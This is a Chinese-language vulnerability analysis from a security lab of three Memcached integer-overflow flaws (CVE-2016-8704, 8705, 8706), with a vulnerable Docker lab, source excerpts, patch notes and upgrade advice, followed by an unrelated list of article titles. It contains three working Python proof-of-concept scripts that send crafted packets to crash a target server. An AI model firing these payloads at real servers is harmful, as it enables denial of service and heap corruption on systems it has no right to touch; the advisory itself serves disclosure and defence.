Memcached 命令执行漏洞(CVE-2016-8704、CVE-2016-8705、CVE-2016-8706)简析
Author: p0wd3r, dawu (知道创宇404安全实验室)
Date: 2016-11-01
0x00 漏洞概述
1.漏洞简介
Memcached是一个分布式的高速缓存系统,近日研究者发现在其<1.4.33的版本中存在三个整数溢出漏洞(http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html),通过这几个漏洞攻击者可以触发堆溢出进而远程执行任意命令。官方在11月1日发布了升级公告。
2.漏洞影响
任意命令执行
3.影响版本
< 1.4.33
0x01 漏洞复现
1. 环境搭建
Dockerfile:
FROM debian:jessie
# add our user and group first to make sure their IDs get assigned consistently, regardless of whatever dependencies get added
RUN groupadd -r memcache && useradd -r -g memcache memcache
RUN apt-get update && apt-get install -y --no-install-recommends
libevent-2.0-5
&& rm -rf /var/lib/apt/lists/*
ENV MEMCACHED_VERSION 1.4.32
RUN buildDeps='
gcc
libc6-dev
libevent-dev
make
perl
wget
'
&& set -x
&& apt-get update && apt-get install -y $buildDeps --no-install-recommends
&& rm -rf /var/lib/apt/lists/*
&& wget -O memcached.tar.gz "http://memcached.org/files/memcached-$MEMCACHED_VERSION.tar.gz"
&& mkdir -p /usr/src/memcached
&& tar -xzf memcached.tar.gz -C /usr/src/memcached --strip-components=1
&& rm memcached.tar.gz
&& cd /usr/src/memcached
&& ./configure
&& make -j$(nproc)
&& make install
&& cd / && rm -rf /usr/src/memcached
&& apt-get purge -y --auto-remove $buildDeps
COPY docker-entrypoint.sh /usr/local/bin/
RUN ln -s usr/local/bin/docker-entrypoint.sh /entrypoint.sh # backwards compat
ENTRYPOINT ["docker-entrypoint.sh"]
USER memcache
EXPOSE 11211
CMD ["memcached", "-vv"]
docker-entrypoint.sh:
#!/bin/sh
set -e
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- memcached "$@"
fi
exec "$@"
docker run --name mem-vuln memcached:vuln
2.漏洞分析
漏洞作者已经提供了很详细的描述,在这里仅做简单的翻译和整理。
Memcached支持两种协议来存取数据:ASCII和binary,当我们用binary存取时会出现漏洞。
三个漏洞的触发点均在item.c
中的do_item_alloc
函数中,关键部分如下:
size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
...
it = slabs_alloc(ntotal, id, &total_bytes, 0);
...
memcpy(ITEM_key(it), key, nkey);
it->exptime = exptime;
memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
it->nsuffix = nsuffix;
程序根据用户可控的nkey
和nbytes
来创建分配内存的大小,然后将另一个可控的key
拷贝到分配的内存区域中,在这个函数汇总并没有对数据长度进行检测,所以如果key
的大小 > 分配空间的大小,则会导致堆溢出。
下面分别看这三个漏洞:
CVE-2016-8704:
在memcached.c
中,当进行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a) 操作时会进入这样一个分支:
case PROTOCOL_BINARY_CMD_APPEND:
case PROTOCOL_BINARY_CMD_PREPEND:
if (keylen > 0 && extlen == 0) {
bin_read_key(c, bin_reading_set_header, 0);
} else {
protocol_error = 1;
}
break;
这里并仅检查了key的长度,并没有检查body的长度。
解析完binary后程序进入了process_bin_append_prepend
函数中:
assert(c != NULL);
key = binary_get_key(c);
nkey = c->binary_header.request.keylen; [2]
vlen = c->binary_header.request.bodylen - nkey; [3]
if (settings.verbose > 1) {
fprintf(stderr, "Value len is %dn", vlen);
}
if (settings.detail_enabled) {
stats_prefix_record_set(key, nkey);
}
it = item_alloc(key, nkey, 0, 0, vlen+2); [4]
这里取我们请求中keylen
和bodylen
,然后并没有做长度检测,最后调用item_alloc
来存储数据,而item_alloc
是之前提到的do_item_alloc
的封装,所以最后在do_item_alloc
中触发溢出。
PoC:
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "x80"
OPCODE_PREPEND_Q = "x1a"
key_len = struct.pack("!H",0xfa)
extra_len = "x00"
data_type = "x00"
vbucket = "x00x00"
body_len = struct.pack("!I",0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
body = "A"*1024
if len(sys.argv) != 3:
print "./poc_crash.py <server> <port>"
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
set_packet = "set testkey 0 60 4rntestrn"
get_packet = "get testkeyrn"
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1],int(sys.argv[2])))
s1.sendall(set_packet)
print s1.recv(1024)
s1.close()
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],int(sys.argv[2])))
s2.sendall(packet)
print s2.recv(1024)
s2.close()
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1],int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
s3.close()
Crash:
CVE-2016-8705:
在memcached.c
中,当进行Set (opcode 0x01),Add (opcode 0x02), Replace (opcode 0x03) ,SetQ (opcode 0x11), AddQ (opcode 0x12) ,ReplaceQ (opcode 0x13)作时会进入这样一个分支:
case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_REPLACE:
if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {
bin_read_key(c, bin_reading_set_header, 8);
} else {
protocol_error = 1;
}
在这里需满足bodylen >= (keylen + 8)
,这里要注意的是各变量类型如下:
int extlen = c->binary_header.request.extlen;
int keylen = c->binary_header.request.keylen;
uint32_t bodylen = c->binary_header.request.bodylen;
解析后程序进入process_bin_update
:
static void process_bin_update(conn *c) {
char *key;
int nkey;
int vlen;
item *it;
protocol_binary_request_set* req = binary_get_request(c);
assert(c != NULL);
key = binary_get_key(c);
nkey = c->binary_header.request.keylen;
/* fix byteorder in the request */
req->message.body.flags = ntohl(req->message.body.flags);
req->message.body.expiration = ntohl(req->message.body.expiration);
vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen);
...
it = item_alloc(key, nkey, req->message.body.flags,
realtime(req->message.body.expiration), vlen+2);
由于bodylen
为无符号整形,在赋值给整形的vlen
时会做类型转换,这样导致当我们设置bodylen
最高位为1时在转换成整形时bodylen
会变成一个负数,最后vlen
也就成了一个负数,进而调用item_alloc
触发漏洞。
PoC:
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "x80"
OPCODE_ADD = "x02"
key_len = struct.pack("!H",0xfa)
extra_len = "x08"
data_type = "x00"
vbucket = "x00x00"
body_len = struct.pack("!I",0xffffffd0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I",0xe10)
body = "A"*1024
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
if len(sys.argv) != 3:
print "./poc_add.py <server> <port>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()
Crash:
CVE-2016-8706:
在使用SASL进行认证时,进入process_bin_sasl_auth
函数:
static void process_bin_sasl_auth(conn *c) {
// Guard for handling disabled SASL on the server.
if (!settings.sasl) {
write_bin_error(c, PROTOCOL_BINARY_RESPONSE_UNKNOWN_COMMAND, NULL,
c->binary_header.request.bodylen
- c->binary_header.request.keylen);
return;
}
assert(c->binary_header.request.extlen == 0);
int nkey = c->binary_header.request.keylen;
int vlen = c->binary_header.request.bodylen - nkey;
if (nkey > MAX_SASL_MECH_LEN) {
write_bin_error(c, PROTOCOL_BINARY_RESPONSE_EINVAL, NULL, vlen);
c->write_and_go = conn_swallow;
return;
}
char *key = binary_get_key(c);
assert(key);
item *it = item_alloc(key, nkey, 0, 0, vlen);
同第一漏洞,只要bodylen
小于keylen
即可。
PoC:
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "x80"
OPCODE_SET = "x21"
key_len = struct.pack("!H",32)
body_len = struct.pack("!I",1)
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len + body_len*2 + "A"*1000
if len(sys.argv) != 3:
print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()
Crash:
3.补丁分析
在分配内存前检查了数据的大小,在sasl认证的函数中更改了数据类型并检查大小。
0x02 影响分布
zoomeye搜索关键词为: app:memcached,一共搜索到59756条结果,分布如下:
其中,中美两国收影响设备居多。以下是zoomeye中中国各省受影响主机分布:
0x03 修复方案
升级至1.4.33 (https://github.com/memcached/memcached/wiki/ReleaseNotes1433)
0x04 参考
https://www.seebug.org/vuldb/ssvid-92505
https://www.seebug.org/vuldb/ssvid-92506
https://www.seebug.org/vuldb/ssvid-92507
https://github.com/memcached/memcached/wiki/ReleaseNotes1433
http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html
http://www.talosintelligence.com/reports/TALOS-2016-0219/
http://www.talosintelligence.com/reports/TALOS-2016-0220/
http://www.talosintelligence.com/reports/TALOS-2016-0221/
- JavaWeb(四)EL表达式
- eclipse SWT Designer 插件
- 身份证号码验证算法
- JS读书心得:《JavaScript框架设计》——第12章 异步处理
- 被解放的姜戈04 各取所需
- PLT:说说Evaluation strategy
- 被解放的姜戈06 假作真时
- idea 创建的maven+spring+mybatis项目整合 报错无法创建bean
- 代数几何:点,线,抛物线,圆,球,弧度和角度
- 被解放的姜戈05 黑面管家
- 用数据来告诉你2018年的未来趋势
- JavaWeb(三)JSP之3个指令、6个动作、9个内置对象和4大作用域
- 被解放的姜戈03 所谓伊人
- JS魔法堂: Native Promise Only源码剖析
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 面向对象的7种设计原则(5)-里氏代换原则
- CentOS7下利用Google Authenticator实现SSH登录的二次身份验证
- 满分室间质评之GATK Somatic SNV+Indel+CNV+SV(下)性能优化
- poiAndEasyExcel学习(六)
- C++ 模板沉思录(上)
- Python 为什么会有个奇怪的“...”对象?
- 老板让我从几百个Excel中查找数据,我用Python一分钟搞定!
- 爬取B站20万+条弹幕,我学会了如何成为B站老司机
- Pytorch实现卷积神经网络训练量化(QAT)
- VBA解压缩ZIP文件11——存在问题
- 算法集锦(14)|图像识别| 图像识别算法的罗夏测试
- CenterNet骨干网络之hourglass
- 语音识别中的声学特征提取:梅尔频率倒谱系数MFCC | 老炮儿改名PPLOVELL | 5th
- 基于Apriori的数据关联分析 | 工业数据分析 | 冰水数据智能专题 | 4th
- 基于FP树的频繁项挖掘 | 工业数据分析 | 冰水数据智能 | 5th